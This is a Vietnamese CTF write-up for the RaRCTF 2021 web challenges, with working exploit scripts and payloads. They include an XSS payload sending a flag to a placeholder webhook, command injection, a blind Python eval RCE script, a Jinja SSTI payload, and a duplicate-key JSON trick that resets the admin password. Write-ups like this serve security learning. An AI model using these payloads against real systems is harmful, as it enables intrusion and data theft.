🇻🇳
th13
  • info
  • JAVA
    • Notes: RMI linh tinh
    • [CVE-2013-2165] Phân tích RichFaces vulnerability thông qua CTF challenge
  • CTF WRITE UP
    • [Web]ImaginaryCTF 2021
    • [Web]CSAW CTF 2021
    • [Web]RaRCTF 2021
    • [Web]LIT CTF 07/2021
    • [Web]redpwn 2021
    • [Web]WeCTF 2021
    • [Web]WannaGame 21/05/2021
    • [Web]San Diego CTF 2021
    • [Web]picoMini by redpwn
    • [Web]WannaGame 17/04/2021
    • [Web]picoCTF 2021
    • [Web]BambooCTF/Calc.exe
  • saved
    • Tài liệu JAV Sờ cu 101
    • [NT230]PE file Injection
    • [WU][web]root-me
    • [WU]Lord of SQLinjection
    • [WU][Web]CyberTalents
    • [exploit][sqli]Challenge ngày Tết
Powered by GitBook
On this page
  • Fancy Button Generator (100 points)
  • lemonthinker (100 points)
  • Secure Uploader (150 points)
  • Microservices As A Service 1 (400 points)
  • Microservices As A Service 2 (500 points)
  • Microservices As A Service 3 (600 points)
  • MAAS 3.5: User Manager (650 points)

Was this helpful?

Edit on GitHub
  1. CTF WRITE UP

[Web]RaRCTF 2021

Previous[Web]CSAW CTF 2021Next[Web]LIT CTF 07/2021

Last updated 3 years ago

Was this helpful?

Saved source:

Fancy Button Generator (100 points)

Bài này ta nhận được 1 source code và 1 file solver.py.

Workflow của bài này như sau:

  • Điền form gồm title và link rồi submit.

  • Sau submit là một trang có 1 button được tạo bởi title và link phía trên.

  • Report trang này đến admin bot để lấy flag.

  • Trước khi report thì phải thực thị proof of work (file solver.py làm giúp mình việc này)

  • Admin bot thực hiện gán flag vào localStorage click button.

Việc cần làm:

  • POW.

  • Gửi trang button bị chèn XSS đến /admin.

  • Check webhook nhận flag.

Script exploit:

solver.py
import requests

import hashlib
import uuid
import binascii
import os
import sys


def generate():
    return uuid.uuid4().hex[:4], uuid.uuid4().hex[:4]


def verify(prefix, suffix, answer, difficulty=6):
    hash = hashlib.sha256(
        prefix.encode() + answer.encode() + suffix.encode()).hexdigest()
    return hash.endswith("0"*difficulty)


def solve(prefix, suffix, difficulty):
    while True:
        test = binascii.hexlify(os.urandom(4)).decode()
        if verify(prefix, suffix, test, difficulty):
            return test


if len(sys.argv) < 2:
    print("Usage: solve.py http://host:port/")
    exit()
s = requests.Session()
host = sys.argv[1]
data = s.get(host + "pow").json()
print(f"Solving POW - session_id: {s.cookies.get_dict()}")
solution = solve(data['pref'], data['suff'], 5)
print(f"Solved: {solution}")
s.post(host + "pow", json={"answer": solution})

# SEND PAYLOAD
res = s.get(host+"admin", params={"title": "title",
            "link": "javascript:fetch('YOUR-WEBHOOK.SITE/?flag='%2blocalStorage.getItem('flag'),{mode:'no-cors'})"})
print(res)

FLAG: rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f}

lemonthinker (100 points)

Tổng quan bài này là sẽ có một box cho mình nhập nội dung và nội dung này sẽ được ghi vào 1 file ảnh.

Mình có thể kiểm soát nội dung nhập vào để khai thác command injection.

Có thể sử dụng `ls` hoặc ${ls} để list files thành công như vậy mình có thể cat thoải mái.

Nhưng bài này từ chối nội dung in ra có chứ rarctf.

Vậy mình chỉ cần repace rarctf của flag thôi, và payload cuối cùng:

PAYLOAD: sed 's/rarctf/hello/g' /flag.txt

Ơ kìa =)))))))))))))))) Lúc mình làm thì cái leemon tree nó bị lỗi không hiện ra đâu, nhưng cuối giờ admin fix lại nên bài này thêm một bước nữa là phải lấy từng đoạn của flag.

Hoặc là in từng ký tự của flag. Hoặc là replace những ký tự biết rồi bằng rỗng cho đến hết.

Chọn cách 2: sed 's/rarctf{b451c-c0mm4nd//g' /flag.txt

FLAG: rarctf{b451c-c0mm4nd_1nj3ct10n_f0r-y0u_4nd_y0ur-l3m0nth1nk3rs_d8d21128bf}

Secure Uploader (150 points)

Tóm tắt workflow:

  • Upload file

  • Có dấu . trong tên file 403

  • Lưu tên file vào database và lưu file vào folder uploads/

  • Redirect sang /file/<id>

  • Query tên file theo id từ database

  • Ghép uploads/ và tên file lại với nhau bằng hàm os.path.join

  • Đọc file này

Có một điều đặc biệt là os.path.join sẽ bỏ qua các giá trị phía trước nếu giá trị cuối cùng mình cung cấp là một hard link, ex:

Như vậy khi gửi đi bắt gói tin lại và sửa tên file là /flag sẽ thành công có flag.

FLAG: rarctf{4lw4y5_r34d_th3_d0c5_pr0p3rly!-71ed16}

Microservices As A Service 1 (400 points)

Bài này có một source code combo gồm 3 bài. Tóm tắt source của part này là một công cụ Claculator kiềm tra chẵn lẽ, cộng trừ nhân chia. Nhưng không kiểm tra dữ liệu đầu vào, lại còn eval result và kiểm tra type của eval.

Ta sẽ focus vào phép cộng vì có thể truyền vào 2 chuỗi và phép cộng lúc này lại thành cộng chuỗi. Sau đó kết quả chuỗi được đưa vào eval(). Chỉ gặp khó 1 chút là kiểm tra type của eval result phải là số:

Giải quyết khó khăn này cũng đơn giản, chỉ sử dụng thêm toán tử điều kiện.

PAYLOAD: 1 if __import__('os').popen('cat /flag.txt').read()[0]=='r' else 'wrongcharacter'

Vậy viết 1 đoạn script để get flag:

exploit_calc.py
import requests

url = 'https://maas.rars.win/calculator'
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
flag = ''
end = False
for i in range(0, 150):
    for c in chars:
        payload = {
            "mode": "arithmetic",
            "add": "+",
            "n1": "1 if __import__('os')",
            "n2": f".popen('cat /flag.txt').read()[{i}]=='{c}' else 'wrongcharacter'"
        }
        res = requests.post(url=url, data=payload)
        # print(res.text)
        if "&#39;wrongcharacter&#39;" in res.text:
            flag += c
            print(flag)
            if c == '}':
                end = True
            break
    # Check the end of flag
    if end:
        break

FLAG: rarctf{0v3rk1ll_4s_4_s3rv1c3_3fca0faa}

Microservices As A Service 2 (500 points)

Source của part này là Notes. Tóm tắt workflow trọng tâm như sau:

  • Register 1 username.

  • Sau khi vào /profile thì sẽ có những action để làm như addbio, getbio,...

  • Tại /profile sẽ render bio content, và các data mình add vào (ở challenge này mình bỏ qua).

Mình sẽ focus vào render bio, Lúc lướt sơ qua thấy bio được filter khá kỹ không có cơ hội SSTI. Nhưng sau 7749 lần lướt tới lướt lui mình mới để ý được cái filter này lừa lắm bà con =)))

Sự thật replace() trên không hề được replace vì biến bio không hứng kết quả trà về (nói văn vẻ là bio chỉ đóng vai trò tham chiếu chứ không phải tham trị). Như vậy chỉ cần chèn payload và bio

PAYLOAD: {{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}

FLAG: rarctf{wh4t_w4s_1_th1nk1ng..._60a4ee96}

Microservices As A Service 3 (600 points)

Source code của part này sẽ xoay quanh manager, mình lướt sơ về luồng của bài này:

  • Nhập username và password để đăng nhập.

  • Nếu username là admin thì sẽ có được flag.

  • Sau khi đăng nhập thì sẽ có chức năng đổi password với 2 params là id và password.

Bài này có tí đặc biệt đó là phần server xử lý đổi password sẽ được build bằng GO.

Mục tiêu là sẽ đổi password của admin, để làm được việc này cần bypass được schema.

Bài này căng não, mình suy nghĩ đủ đường để thay đổi json gửi đi =))) lúc đấy không biết do cả ngày dive in ctf hay sao mà việc add thêm key id vào json mà mình cũng suy nghĩ làm như thế nào :v Đi nói chuyện với n3mo hỏi vài ba câu thì mới nhớ ra =)))) ôi trời

Python làm việc vói json thì khi có key trùng nhau thì khi đọc sẽ đọc lấy value cuối cùng. Thế mà Golang lại làm ngược lại, các key trùng nhau sẽ lấy value đầu tiên.

PAYLOAD: {"id":0, "id":1, "password":"0123456789"}

Với json trên sẽ thỏa schema của server, đồng thời lợi dụng sự bất đồng bộ của py và go.

FLAG: rarctf{rfc8259_15_4_b1t_v4gu3_1a97a3d3}

MAAS 3.5: User Manager (650 points)

Bài này là phiên bản fixed của MAAS3, điểm fixed của bài này là 2 lớp validate schema ở sever:

Điều bất ngờ ở đây là mặc dù thêm 1 lớp schema validation nhưng hoàn toàn không effect gì đến payload bài trước =))) Như vậy mình nghĩ rằng đây là exception solution.

Sử dụng lại phương thức exploit của bài trước.

PAYLOAD: {"id":0, "id":1, "password":"0123456789"}

FLAG: rarctf{k33p_n3tw0rks_1s0l4t3d_lol_ef2b8ddc}

https://github.com/th13ntc/ctf-source-saved/tree/main/rarCTF2021